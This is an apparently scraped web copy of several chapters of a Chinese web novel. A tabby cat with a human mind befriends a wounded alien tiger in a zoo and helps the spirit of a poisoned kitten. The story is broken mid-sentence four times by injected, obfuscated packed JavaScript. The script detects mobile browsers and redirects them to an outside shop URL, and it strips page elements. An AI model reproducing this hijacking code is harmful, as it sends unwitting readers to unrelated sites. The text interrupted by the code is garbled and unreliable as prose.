“嗯。” “差不多。” “还好。” 因为并不是野生老虎,且更不习惯嗷嗷喵喵,秦寂的回答言简意赅,几个字几个字地往外蹦,很努力融入身份。 江野很大度地选择了包容。 唉,算啦。 和一个乡下来的大猫置什么气呢! 江野身为城里大哥的责任感忽然上头,对空气打了一个猫猫左勾拳,凶悍地露出小尖牙:“他们说你是被偷猎的人害成这样的,你有没有狠狠报复回去!” “有。他们,更惨。” 秦寂想到被他引爆炸成太空烟花的一连串飞行器,眼中划过笑意。 虎的嘴角上扬。 江野的爪爪开花,露出尖锐的指甲:“爽了!就该这样!那些混蛋!” 闲聊熟悉了一下彼此,从来都很会交友社交的江野想到自己的工作,话音一转,问虎:“那什么,你受伤那么厉害,干嘛不吃饭?” 猫在江湖混,也是受过伤的。 即使江野有着人类的智慧,最开始作为一只奶猫讨生活的时候,不可避免地吃过一些苦头。 有一些人类,是比野狗还要可怕的存在。 不过也的确是靠着人类,小奶猫时期很会撒娇的江野把自己营养十足地好好养大了。 所以江野相信人类,却又不那么完全信赖人类。 江野当初会选择在这片地方划地盘定居,也是因为动物园里,虽然游客里偶尔会有坏心眼的大人和没轻没重的熊孩子,但这里的工作人员毫无疑问都很好。 江野也愿意承担起人类和虎之间的翻译责任。 秦寂停顿了一下,才回答江野的问题:“不新鲜,不想吃。” “后面,会吃。” 江野闻言有些纳闷。 因为动物园不可能给一头好不容易才救活的东北虎不新鲜的肉。 但江野再问,秦寂却不吭声了。 好吧。 江野表示理解。 这是一头社恐内敛,不太好交朋友的虎。 看来劝虎吃饭并不是一两天能完成的事儿,最近大不了猫多来几趟,多问几遍。 江野很贴心地不再追问,又刷了一会儿短视频。 只不过这一次,江野并没有坏心眼地故意播放婆媳关系的狗血视频了。 短视频有各种各样的内容,江野平常当打发时间的乐子听,并不像是人类以为的只是听个响。 毕竟有些八卦人类喜欢,猫也喜欢。 而虎就更能听懂了。 秦寂不但听懂了,并且还从这些短视频里零碎获取了一些信息,逐渐拼凑出这个星球的社会体系。 这个星球的政权名为华夏,并不是帝国制度,某种程度上更接近联邦议会。 秦寂甚至从那个被小猫反复播放的婆媳短视频里,提炼出了这个星球的货币单位与换算公式。 江野看短视频看得眼睛有点累,在平板里翻了翻,找到一个五子棋小游戏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998850|193926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,问秦寂会不会玩。 虎想了下,说可以学。 江野来了兴致,开始手舞足蹈地教虎下五子棋,平板的后台还在顺序播放猫和老鼠的剧集。 秦寂没有忽视江野故意点开并播放的动画片,还有猫有意无意挡住摄像头的动作。 江野注意到虎在看猫而非平板,解释道:“这样不会引起人的注意。” 秦寂语意不明:“你在隐藏自己?” 江野的猫爪在半空划拉了一下,微微一顿:“也不是,就是,直觉这样会没那么多麻烦。” “来来来,下棋了!你说下哪我帮你点!” 不远处,救助小组的成员们听着猫和老鼠一集一集连播的声音,见一虎一猫相处得十分和谐友爱,不仅猫没有应激,虎也难得精神好了许多,都十分欣慰。 一个个偷拍这一幕的人,脸上都带着姨母笑的表情。 一行人走去隔音的办公室里面,没再打扰这一幕。 专家记录好今天的数据,推了下眼镜:“虽说相处得不错,但是隔离区外面还是要定期喷撒费洛蒙喷剂,以防小猫冷不丁过来。” “是的是的。”沈园长连连点头,“小野虽说胆子很大,但毕竟是小猫,这头东北虎或许是因为受伤、也可能是性格比较沉稳,并没有表现出恐吓进攻的意思,但也得防患于未然,毕竟猫应激不是小事。” “知道的!”其中一个工作人员笑嘻嘻道,“咱们园区最重视员工的安全问题了!” “说起来,咱们是不是该给这头东北虎起个名字了?到时候也好在账号上介绍嘛。” 救助小组里也有专门负责对外做媒体工作的成员,她这会儿眼睛发光地盯着不远处的虎猫互动,高高举手发言,手里的笔记本已经画了好几页的Q版小漫画,脖子上戴着小方巾的狸花猫和体型巨大却意外温柔的东北虎看上去趣味十足,莫名有爱。 “咱狸花大哥叫野哥,那东北虎就叫泰哥呗~” 说话的人灵机一动,语气抑扬顿挫:“ti↗ger,泰↗哥~” “这一听就知道是虎哥啊!” “哈哈哈哈哈!你小子简直绝了!” “你们这群小年轻啊……行,就叫——”沈园长说着,没忍住笑出声,“就叫泰哥。” 江野和秦寂并不知道人类在办公室里的热闹。 一虎一猫下了一会儿五子棋,临走前,江野还又喝了一碗特调的盆盆奶。 天色渐晚,江野准备下班。 临走前,江野忽然心中涌起一股冲动,走出去一段距离的猫忽然驻足,转头看向玻璃另一侧的东北虎,开口。 “你有名字吗?” “我是说……”江野有些紧张局促地在地上踩了踩,胡须抖抖,“我叫江野。” 猫自己并没有意识到,他的眼睛里带着期待,甚至是真诚到急切的期盼。 动物其实都是没有名字的。 园区里的动物会被园长或是奶爸们取名,但对动物而言,只是叫多了变成了名字; 人类养的宠物有名字,是因为养它们的人类赋予了它们名字; 跟着江野的猫小弟有几只有名字,是因为江野曾经想要同类,所以给它们起了名字…… 但终究是不同的。 因为江野自己就有名字。 他是特殊的。 不是人,却又不那么完全是猫。 不远处,端坐在隔离区玻璃后的东北虎静静与狸花猫对视。 直到小猫绿眼睛里的光开始一点点暗淡,垂下尾巴,准备转头离开时—— “秦寂。” 虎回答。 “我叫秦寂。” 8. 猫有猫道【八更】 这头东北虎真的很不一样。 虎居然有名字! 和“江野”一样,有名有姓像模像样的名字。 秦寂。 秦寂。 江野从动物园下班回去之后,趴在石板床上按捺不住地蹭毛,左滚滚右滚滚,脑袋里想的都是漂亮大猫。 以及那句最后说出的名字。 今天是周六,明天是周日。 所以明天还要去动物园。 江野从来没有这么喜欢过上班。 越想越兴奋,越想越来劲,江野索性从自己的霸总大床上一骨碌翻身跳起,像是小马驹一样哒哒哒哒哒在小区里开始疯跑,一双翡翠色的猫眼睛在黑夜里闪着幽幽的兴奋光芒。 又一次半夜关诊所下班,走在路上被鬼火直面暴击的沈青:“……?” 谁啊。 干啥啊。 大半夜的不睡觉,在小区里搞疯马秀? 哦,不对。 猫的确是夜行性动物。 这很正常。 不正常的是这个时候才刚下班回家的牛马人。 沈青在心里默默为自己掬了一把心酸泪。 虽说兽医是她自己喜欢自己选的,现在也的确还是喜欢并且为之奋斗的职业,但辛苦的时候偶尔小心酸一下也是常有的事。 江野还在疯跑,像是一道小旋风,从这边刮到那边,中间除了落叶完美绕过所有的障碍物,就连地上的塑料袋都没扑腾起来。 沈青弯腰顺手捡起塑料袋,忽然想到自家当动物园园长的爷爷说到的,关于野哥作为一只猫,不仅学会了上班刷短视频摸鱼,还真正聪明到能配合救助小组,在虎园做抚慰猫的事儿,心下忽然一动。 说实在的,野哥的确是一只很聪明的狸花猫。 最主要的是,还很有猫势力。 堪称一方霸主。 哎呀…… 沈青搓了搓手,一个百米冲刺往狸花大哥狂奔的路线上一蹲,脸上不由挂上了略带谄媚的表情。 正跑的热血沸腾,甚至有种连夜去到动物园收个什么虎小弟的江野前爪用力,来了个急刹车,堪堪在笑的像是大尾巴狼的人类面前停住。 狸花大哥十分警惕地瞅着身前的人类。 江野对医生其实没有敌意,同样是自由的猫咪,江野比人类更知道猫狗在外面讨生活的困难,但江野本身还是对绝育这种行为不能接受。 也没见人类到了年纪就把自己的蛋蛋拆掉。 只是母猫怀孕养崽,公猫发情打架的确问题麻烦很多,而大哥虽说是大哥,也确实没必要为手底下的小弟们的蛋蛋负责。 所以江野就对沈青往小区猫咪身上下手的事睁一只眼闭一只眼,放任了。 只要沈青能抓住,那就是医生的本事。 江野警惕沈青,总是和沈青保持安全距离的根本原因,是沈青摘掉了狸花猫小弟的蛋不算,还试图染指大哥。 沈青当然也知道自己从前的行为导致她在狸花大哥面前的信誉受损,当即举手发誓:“我发誓,今后绝对不会对野哥有什么企图,如果违背誓言,就让我往后余生都摘不到一颗毛蛋!” 江野:“……” 虽然这个发誓不伦不类,但对猫咪来说,也勉强够用。 夜色里,肌肉线条漂亮的狸花大哥垂着尾巴缓缓走近,猫耳朵动了下,眼睛闪烁着智慧且霸气的光。 说吧,找大哥什么事。 江野最近经常被求助拜托,一看这架势就知道这人有事。 沈青往旁边走了几步,搓开刚才捡来的塑料袋抖了抖,往绿化区边缘的台子上一铺,大大方方坐了下来,还拍拍身边的位置,示意江野到这边来,别挡在路中间。 万一有个什么往来的电动车呢。 不安全。 江野很有气场地走到沈青身边端正坐下,尾巴尖扫过人类的鞋子,轻轻拍打。 人,有话直说。 沈青清清嗓子:“那什么,野哥还记得之前那只布偶猫的主人吗?退烧之后我陪着她去医院做了检查,人没啥事,就是流感发烧晕过去了,主要还是身体免疫力不行。” 沈青似乎真当江野是个思考独立的人,也不管猫能不能听懂免疫力这种词,叭叭着把之前野哥托付给她的事先交代了一番。 沈青不说,江野也是准备之后找个不用去动物园上班的时间,往布偶少爷家里去一趟的。 好歹是vvip客户,江野并不是什么做好事不留名的猫。 布偶少爷家那个出手挺阔绰,这一趟过去准能捞不少东西。 所以沈青说着,江野也认真听着,像是听懂了似的,偶尔还点点头。 沈青于是继续:“她因为工作关系不太运动,最近在被家属监督着每天出门慢跑,她家属祖上就是干放牧的,现在一对一牧她一个没问题的。” 沈青说着,脑袋里不由浮现出某人匆匆忙忙连滚带爬的身影。 江野:“……” 那种黑白配色的狗好像挺能跑的。 算了,那狗也挺聪明,应该知道衣食父母是什么意思,不至于把人给牧死。 沈青说完了前情提要,拍了好一阵狸花大哥的猫屁,听见江野都开始发出呼噜呼噜的声音,这才话音一转,说到自己的诊所最近救助了几只小猫。 “小猫是其他小区的,那边小区有人故意投毒,我朋友及时发现救了几只小猫送到我这边来,情况不太好,但也抢救活了三只,我们就想着……” 沈青目光殷切地看向旁边端坐着的狸花大哥。 “野哥你特别有侠气,最是有大哥风范,咱这的大狗小猫都听你的,所以……能不能拜托你照顾一下这三只小猫?” 猫是一种很有地盘边界的动物。 沈青作为兽医,自然也知道想要一个猫团体接受外来猫,其实是不太容易的事。 尤其当外来猫并不那么健壮时。 所以她紧接着说了句:“只是先避避风头,等我们找到投毒人再说别的。” 江野倒是并不为难地盘上多三只小猫,他比较奇怪为什么会找上他。 以往人类抓了猫后,在诊所关一阵子,大部分猫都会被其他人类带回家的。 现在跟着江野的,其实都是身形灵活没被逮住的猫。 沈青叹气,只说江野如果有空可以去她那看一看,就知道为什么了。 江野耐心听完事情,没喵什么,十分人性化地点了下脑袋。 沈青顿时觉得柳暗花明又一村,当下神清气爽大步流星地回家睡觉。 然后第二天一早,就被诊所大门非法入侵的滴滴警告声无情吵醒。 沈青拿起手机一看,凌晨六点。 年轻朝气,觉少精力多的狸花大哥已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998851|193926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经带着三花秘书礼貌等候在了诊所门口。 沈青只能急忙赶到诊所,打开大门恭迎大哥莅临诊所进行视察。 江野从前并没有进来过诊所,毕竟进来这里的猫,出去的时候多少都会失去一些宝贵的东西。 有些东西代表了大哥的颜面,江野哪怕不用,也不能接受没有。 诊所里面的味道多少让猫不是很喜欢,江野嗅了嗅,抬爪揉了几下鼻子。 在江野的沟通下,沈青给小三花做了猫瘟猫传腹的检查,确认没问题后,这才带着江野和三花就往重症监护室走。 至于有工作的狸花大哥——动物园的员工体检,猫没有一次落下过。 那三只被救助的小猫被关在隔离箱里,看着没精打采的,碗里的猫粮清水一点都没少,猫砂盆也干干净净。 而在沈青出现在门口的时候,三只小猫就表现出异常的警惕,哪怕都有点站不稳,却还是一个赛一个地大声哈气。 沈青无奈地摸摸鼻子,只能往走廊里退了又退。 江野这会儿明白了,这三只猫对人十分排斥害怕,八成是当不了宠物猫的。 狸花大哥扭头,对三花秘书低声喵了两句。 温柔又漂亮的三花跳上放在隔离箱前面的椅子,对着三只看上去并没有成年,此时纷纷好奇看过来的猫崽子们轻轻喵呜了一声,并没有贸然靠近。 沈青松了口气。 猫有猫道,这就挺好的。 沈青昨晚其实担心过会不会有寄生虫这种传染病,可这三只小猫的应激.情况比较严重,诊所能治疗小猫的伤和病,但一直这么惊恐下去也不是办法,之后恐怕是要跟着野哥走的,现在一点点慢慢适应也好。 秘书在和小猫沟通,江野的注意力却落在另一边单独放着,正在滴滴滴闪红光的盒子上。 里面有只呼吸很微弱,味道也很淡的猫。 沈青开口:“这是宠物ICU监护仓,唉,这只小猫……” 江野却没听沈青说话,猫看着监护仓上方的空白墙面,瞳孔里映出一只漂浮在半空的小猫幽灵。 江野:“?” 狸花大哥缓缓后退了一步,弓起来的炸毛脊背抵到椅子腿边缘,尾巴绷成直愣愣的一条。 不是,有猫鬼啊! …… 秦寂看向玻璃外的小猫。 小猫今天不对劲。 没有吧唧嘴,更没有嘬蛋,而是慢吞吞舔舐,有好几下舌头都没卷起蛋黄,舔了空气就往嘴里送。 秦寂眯了眯眼,换了个姿势趴着。 小猫心不在焉地吃完饭,没有吃零食的心思,划拉开平板后点击播放猫和老鼠给虎看,自己又开始发呆。 秦寂对猫和老鼠不感兴趣。 他看着这样没精打采,像是被水打湿显得可怜巴巴的小猫,觉得有点不得劲。 小猫不该是这样的。 小猫应该是和前几次见面时一样,机灵鲜活没心没肺让虎气得牙痒痒的小祖宗小混蛋才对。 秦寂也不知道自己为什么会对才刚认识的猫上心。 可能是在这个落后星球,只有这只小猫勉强算得上是他的同类。 同类,好吧。 智慧生物总喜欢寻找并靠近自己的同类。 秦寂给自己的主动找到借口,然后心安理得地主动开口,问江野:“你怎么了?” 9. 猫猫虎虎【九更】 江野是在想那个呆呆愣愣不说话的小猫鬼。 这个世界原来是有鬼的吗。 江野有种猫观被重塑的茫然。 即使自己是一只有着人类的聪明大脑,识字会写字只是不会说话的猫,江野也还是一直认为自己生活的是个科学唯物主义的世界。 科学唯物主义的世界没有鬼。 所以猫早上看到的那个,白白的,淡淡的,虚虚的小猫虚影,到底是个什么东西? 江野听到秦寂的声音,慢半拍扬起脑袋,看向身后玻璃对面低头俯视猫的老虎。 平板上猫和老鼠的追逐还在继续,老鼠带着意外收养的小鸟一路叮呤咣啷地跑,猫在后面四脚打滑地追,平板传出的声音异常热闹,把老虎低低的吼声掩盖了过去。 “我……” 江野张嘴发出一声咪,但又有点不知道怎么说。 说自己大白天见鬼? 秦寂能听懂吗? 退一万步讲,秦寂如果听懂了,肯定会笑话他堂堂一只狸花大哥居然怕鬼的吧! “能不能,关掉那个幼稚的,动画片。” 秦寂被猫和老鼠的视频声吵得脑壳嗡嗡,尤其是里面那只猫总是蠢得让虎不留神就多看两眼。 怎么会有装傻充愣心甘情愿被老鼠耍的团团转的猫?! 秦寂一边吐槽,一边又没忍住瞥了一眼平板屏幕。 江野个头小眼睛大,秦寂的一点动静在猫眼睛里都被放大得清清楚楚,自然看到了大大的虎眼睛里倒映出的猫和老鼠。 江野明知故问,说话的时候粉色的猫嘴张张合合:“不看动画片看什么?” “看新闻。”秦寂矜持收回自己的视线,低头舔前爪。 那比狸花猫都大一圈的老虎爪子上还缠着绷带呢,吃播猫江野连忙切了猫和老鼠,给受了伤的榜一大哥把新闻频道的短视频划拉出来。 秦寂满意了,放下前爪不舔了。 江野哼哼吐槽:“明明就很喜欢动画片,装深沉。” 虎假装没听到猫的大声蛐蛐,神情专注地盯着平板上的新闻短视频看。 秦寂得到了自己想要的,也决定并不吝啬地再次关心一下今天明显不对劲的小猫:“你怎么了?” 他又问。 江野的一边猫耳朵耷拉下来,撇到后面又弹回前面,耳朵尖长出来的聪明毛晃了晃,犹豫了会儿,才开始说今天早上发生的事。 …… 玻璃外面的狸花猫聪明又帅气,前能直播巡视动物园,后能帮着救助小组抚慰东北虎。 狸花猫这会儿正伸着爪子在平板上划拉,像是能听懂短视频似的,咪.咪喵喵着给玻璃里面的东北虎解释,一只爪子时不时抬起来挥两下,身后的尾巴一直贴着玻璃摇摆晃动。 而隔离区里面小山一样的东北虎居然也是很违反本性的好脾气,端端正正坐在地上。 虎的身上带着伤,前爪后腿都缠着略微有血色渗出、但却并没有染上脏污的绷带。 被剃了一部分毛的肚皮始终被虎藏得严严实实,一圈圈黑色纹路环绕的粗长虎尾时不时扫过地面,又在狸花猫激.情喵咪什么的时候停顿片刻,收回来搭放在皮毛厚实的前爪上,整只虎好像真的有在认真听猫说话。 甚至是思考。 “好有爱!好可爱!!” 泰哥救助小组的宣发小姐姐拿着手机用各个角度不停地拍拍拍,脸上满是磕到了的红光四射。 旁边被临时抽调过来看着点猫的鸟味儿奶爸欲言又止,抬手摸摸鼻梁,小声对身边的同事道:“不是,现在连动物都能磕一口了吗?” “能的,兄弟,能的。”同事给鸟味儿奶爸塞了一瓶奶茶,见怪不怪,“现在生活压力这么大,只要能路过磕一口续个命,还管人家是啥?” “这都算好的,起码是活生生毛茸茸的。”旁边凑过来一个脑袋,笑嘻嘻道,“总比上星期那个磕你和鸟架子cp还剪了视频的强吧?” 鸟园子里的树杈子比较多,临近出口小路的边上有个很受鸟青睐的放树杈鸟架子,鸟味儿奶爸每次从那边过都会被勾住衣兜衣带衣帽子,视频多了,磕的也就来了。 鸟味儿奶爸的脸一下子绿了,绿过之后却又忍不住笑了。 宣发小姐姐满意地看了一遍手机上刚拍的视频,甚至觉得原声比配音强,动作麻利地稍加编辑,就直接原汁原味发到了官方账号上。 有时候认真剪辑制作的视频,还不如这种灵机一动原汤来的流量好,反正多发点试试看。 她发的时候显然没有料到,大概是拍的人也在磕,看的人更是磕,狸花猫和东北虎这种体型差极具冲击的组合热度飞涨,当天晚上就空降热搜。 不少人在官方个账户下N人血书,希望动物园能开放隔离区的参观。 动物园是需要热度来支持门票销售和周边产品来维持运转的,之前部分救助的动物如果本身情况好转的话,是会开放游客参观的,但现在这头东北虎显然不满足参观条件。 ——因为即使有了做吃播的抚慰猫,这头虎祖宗也依旧不肯吃饭。 因为不吃饭,一些口服的药物也没办法混进去,再这样下去,救助小组只能选择给虎麻醉打吊瓶了。 毕竟被别看这头东北虎好像还行的样子,实际伤势真的很严重,专家们必须考虑到伤口发炎持续恶化的情况。 “园长已经在准备了,既然生骨肉不吃,那就只能投放一些带毛的肉块,或者全尸猎物激发捕食本能试试看了。” “不过这样的话,野哥就不方便过来了,万一吓到野哥怎么办。” “行,我去和野哥说一声。野哥聪明着呢,只要好好说了,多半都会听的。” “啊?还有小半的情况?” “恩……小半的情况就是野哥听到了,但野哥不想听。” …… 秦寂和江野并不知道救助小组接下来准备对虎采取的进食手段。 秦寂一边看短视频,一边听江野爪舞尾蹈地越说越激动地描述动物被投毒和猫大白天见鬼的事儿,忽然低低笑了一声。 老虎的笑声很低,那笑声如果忽略过于低沉厚重的嗓音,与其说是猫科动物,更像是人类。 江野的咪.咪喵喵声一顿,仰头看向大老虎。 老虎毛茸茸的嘴巴明显嘴角上扬,是真的露出了一抹笑模样。 江野有些别扭地收回视线,尾巴在玻璃上不轻不重地抽了一下,颇有些恼羞成怒的意思:“笑什么!” 秦寂这才意识到自己居然笑了,稍微一愣,收起笑意,看向玻璃外小猫的视线多了几分探究。 虽然秦寂并不知道什么叫鬼,但显然,有了江野这只拥有精神力的小猫在,那么江野描述的情况,很像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998852|193926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拥有精神力潜能但未能觉醒的兽人,受到强烈精神刺激后精神力逸散的残存。 不去管的话,过个两三天,兽死了,精神力也就完全散了。 其实秦寂被追杀受伤的时候,距离精神力完全逸散只有一步之遥。 虽然现在也没好到哪里去,精神海也是一塌糊涂就是了。 精神海受损的兽人,会本能封锁精神海保证自己尽可能不要精神海完全破裂,所以秦寂本不应该有开心愤怒这种波动大的情绪。 但刚才,秦寂无意识笑了。 精神海重伤是不可逆的创伤,修复的方法不是没有,需要的大额金钱都是小事,只是拥有修复精神海能力的特殊兽人万中取一,能好好长大不被吞噬的更是少之又少,每一个都被联邦护着供着。 哪里是有钱就能接触交易的。 不过虽然不太可能修复,但用点手段凑合活一下也是可以的。 只要能回去自己的地盘。 所以……秦寂很想知道,当时航线混乱,意识模糊的时候,他为什么会有那么强烈的直觉,想要往这个星球降落? 这里究竟有什么在吸引他? 比回去自己的地盘还要重要。 秦寂低头,看向脑袋瓜圆润似乎并不太聪明的狸花猫。 这只小猫吗? 江野难得碰到一个能无障碍交流的同类,话匣子一开就有点絮絮叨叨:“我本来想问问那三只小猫知不知道是谁投的毒,结果那三小只什么都不记得,话也听不太懂,是智障猫来的……说真的,刚看到那个小猫鬼的时候,我虽然是有点膈应,但还想着这只毕竟是大猫了,说不定知道情况。” 结果怎么问都不吱声,飘在半空就知道吓唬猫。 “你想帮人类?”秦寂不着痕迹地引导江野去发现精神力,去发现自己的不同。 “怎么就是帮人类了。”江野尖锐的猫爪子弹出来又收回去,语气森森,“被投毒的是猫,这本来就是猫的事。” 哪怕不在大哥的地盘,大哥路见不平也是可以出爪相助的! “我喜欢你的说法,小猫。” 老虎的眼睛弯了一下,微微低下脑袋靠近贴着玻璃的狸花猫。 这个动作使得虎脊背上的那双白色圆形斑点缓缓浮现,像是一双冰冷无情打量警惕这个世界的眼睛,看得江野再次炸了毛。 “叫什么小猫!我有名字的!叫我江野!” 江野不太喜欢小猫这个称呼。 他顿了顿,不自觉往后退了几步,远离这会儿看上去有点吓猫的大老虎。 江野抬爪舔舐掩饰自己些许的害怕:“不过,我们都是朋友了,我就允许你叫我阿野好了。” 说话的时候,江野并没有意识到,自己已经离开了麦克风的收音范围。 但秦寂却仍旧听到了江野的声音。 很清晰。 是和想象中一样,充满了元气鲜活的少年嗓音。 精神力沟通。 学得真快。 秦寂眼中闪过笑意。 刚才就是故意吓唬猫的虎完全趴卧在地上,重新变得看上去慵懒无害。 “既然这样,你去看看那只……小猫鬼吧。” “心里想着和对方沟通,让对方回答你的问题。” 秦寂想到什么,补充了一句。 “记得凶一点。” 10. 小猫“鬼”【十更】 周一早上,江野再次来到沈青的动物诊所。 不过沈青在忙,外面只有一个坐在前台电脑后面噼噼啪啪打字的男生。 江野很礼貌地敲了下前台。 以为来了客人,男生茫然抬头,左看右看,没看到人影,但在宠物诊所常年上班的经验,让他十分顺畅自然地站起身,身体探出前台,视线下移。 男生眼睛一亮:“野哥!” 江野淡定颔首,明明只是第二次来诊所,却淡定自若地像是在自己的地盘上溜达。 男生立刻从旁边抽屉里抓了一根猫条,绕到前面蹲下身给狸花大哥上供,过程中几次三番伸手缩手,试探着想要摸摸狸花大哥。 江野是什么猫,猫条吃完了都没让人类得手。 直到男生满脸失落地收回手时,江野又用尾巴勾了勾男生的手腕,屈尊降贵用脑袋轻轻蹭了下。 真的就是时间很短的一下。 点到即止,十分矜持。 然而短毛猫特有的触感却清晰而真实。 这种努力过后以为没有希望但又被奖励的幸福让男生瞪大眼睛,激动地恨不得扑上来抱着狸花大哥嘬几口。 驯人无数的江野见怪不怪地抬爪抵住了男生的脸,用力往后推。 好吧。 野哥是一只矜持又害羞的猫。 权衡利弊之后,为了自己的安全着想,男生遗憾放弃了轻薄野哥的梦想。 “野哥是来看小猫的吧?沈医生今天有几个手术,但她提前交代过了,就是野哥你得消个毒,能行么?” 男生一边放慢语速说话,一边手舞足蹈地比划,试图让猫真的能理解自己的意思。 江野伸出了自己的前爪,搭上蹲在猫身前的男生膝盖。 “好勒!咱们去消个毒~”男生趁机握住狸花大哥的爪垫捏了捏,“野哥真聪明!怎么会有野哥这么聪明的小猫咪呀?” 就算你奉承大哥,大哥也不会包容你捏大哥爪垫的恶行! 江野用力把自己的前爪从人类手里抽出来,甩了两下。 消过毒后,江野再度走进诊所的宠物病房里,抬头就看到了比起上一次明显更薄更虚的小猫鬼。 江野环顾四周,用脑袋从旁边顶了椅子过来,肌肉发力轻盈跳上椅面,端正坐下,尾巴盘到身前,直视完全没有搭理猫意思的小猫鬼。 江野回忆了一下秦寂之前说的,集中精神想着和小猫鬼沟通。 然而…… 什么东西一晃一晃的。 江野的视线不受控制地被挂在旁边架子上晃来晃去的逗猫棒吸引,瞳孔随着逗猫棒羽毛的左右晃荡而转来转去。 ……不对,猫有正经事要做。 江野甩甩脑袋,努力集中注意力。 想着想着,江野低头看到了自己的前爪。 毛毛乱了,肯定是刚才被人类擦的。 江野抬起前爪,认真细致地舔毛。 ……不对,猫刚才好像要做什么事来着。 江野动作一僵,耳朵后撇,心虚地放下了自己的前爪,用尾巴盖住。 咪。 江野又一次试图集中注意力。 为了拒绝干扰诱.惑,猫甚至闭上了眼睛。 明明闭上了眼睛,江野却感觉面前飘着的那只小猫鬼变得异常清晰起来。 好奇怪的感觉…… 江野“看”向那只小猫鬼,越是想要努力看清,就觉得自己距离对方更近,直到他整只猫都贴了上去,吓得原本瞳孔涣散表情呆滞的小猫鬼一下子活了起来,并且迅速炸毛,开始哈气。 没有丝毫不好意思的狸花猫感觉黑暗中也多出一个自己,慢慢悠悠绕着银白色的小猫鬼转了一圈。 “哈气都这么没气势,以后得好好教你。” 江野抬爪抵上小猫鬼的脑袋,只觉得这小东西又小又弱,动作温柔了几分。 “你一定受了很多欺负,来,都和大哥说。” “大哥帮你。” …… 这只小猫才六个月,好不容易把自己养大,磕磕绊绊挨过了一个冬天,却因为路过人类窗口时好奇看了一眼,就被不怀好意的人类以香肠诱惑并抓住,用细绳勒着前爪吊起来戏弄。 但也因为如此,它受伤很重却没有吃进去必死的投毒物,并且看到了那个还在小区到处投毒谋害猫狗的人类的脸。 呜呜告完状的小猫鬼整个身体都开始变得透明,它趴在江野的肚皮毛下面,把自己缩成一团,脑袋抵在江野的前爪旁边,眼睛湿漉漉。 前爪甚至还能看到被细绳勒出的深可见骨的伤口。 江野并不是温柔那一挂的大哥,但面对这样的小猫鬼,他还是俯下身,把小猫鬼护在了自己的毛毛下,低头舔舐小猫鬼的脑袋毛。 小猫鬼的身体逐渐放松下来,对江野的舔舐毫不反抗,甚至开始发出呼噜呼噜的声音。 小猫鬼原本逐渐呈现出溃散的身体边缘,随着被舔舐传递而来的安心感,一点点变得凝实,毛毛细节也清晰起来。 江野顺应着自己的本能,把怀里的小猫鬼从脑袋到尾巴毛,全身上下都舔了一遍,尤其在小猫鬼的伤口上多舔了好几下。 看见小猫鬼变得清晰又精神,江野满意地喵嗷一声,十分有成就感。 迎上小猫鬼充满臣服和信赖的眼神,江野抬爪,按着小猫鬼在黑暗里滚了两圈,最后检查并确定对方身上没有其他伤口。 “你好好养着,争取别当小猫鬼,这毛舔起来真不得劲。” “人类给你什么就吃什么,不用怕。” “大哥在呢。” “你是有靠山的猫。” “等你好了,我让其他兄弟带你去抓耗子把诊费还给人类,也算是那什么……嗯,人情往来。” 小猫鬼没听懂,但小猫鬼认真点头。 大哥说什么都对。 …… 江野睁开眼睛,面前原本飘着的小猫鬼已经消失。 猫的视线下移,落在那个闪动着光芒的大盒子里。 大盒子里伤痕累累的小猫胸膛微弱起伏着,却透着一股努力求生的顽强。 江野下意识的知道,小猫鬼已经回去了自己的身体里。 不错。 狸花大哥扭头跳下椅子,却因为脚下一软,整只猫连滚带爬着下巴怼地式降落。 手忙脚乱站稳的江野:“……” 大哥左右看看,见大盒子小盒子里的猫都睡着,这才松了口气,绷着尾巴昂首挺胸状若无事地走出房门。 直到走出诊所,江野的肚子传来一阵十分响亮的咕噜噜声,猫才后知后觉出饥饿。 饿饿饿饿饿饿饿饿饿饿。 饿——!! 那种空虚又急切的饥饿感让江野的绿眼睛变得更绿,狂奔着往自己的各个食堂跑去。 *** 与此同时,动物园里,秦寂正一脸麻木地看着救助小组的专家手舞足蹈一脸兴奋地围着……虎的排泄物。 今天早上,秦寂并不意外地等到了人类往隔离区投喂没有夹带药物的全尸猎物。 虽说这种过于原始的进食方法也让秦寂做了很久的思想斗争,但再这么想也知道,动物园的人类不可能给一只老虎投喂七分熟的牛排和热气腾腾的汉堡包。 ——秦寂看这些人吃过。 但他的伤势的确不轻,精神海的情况暂且不论,身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 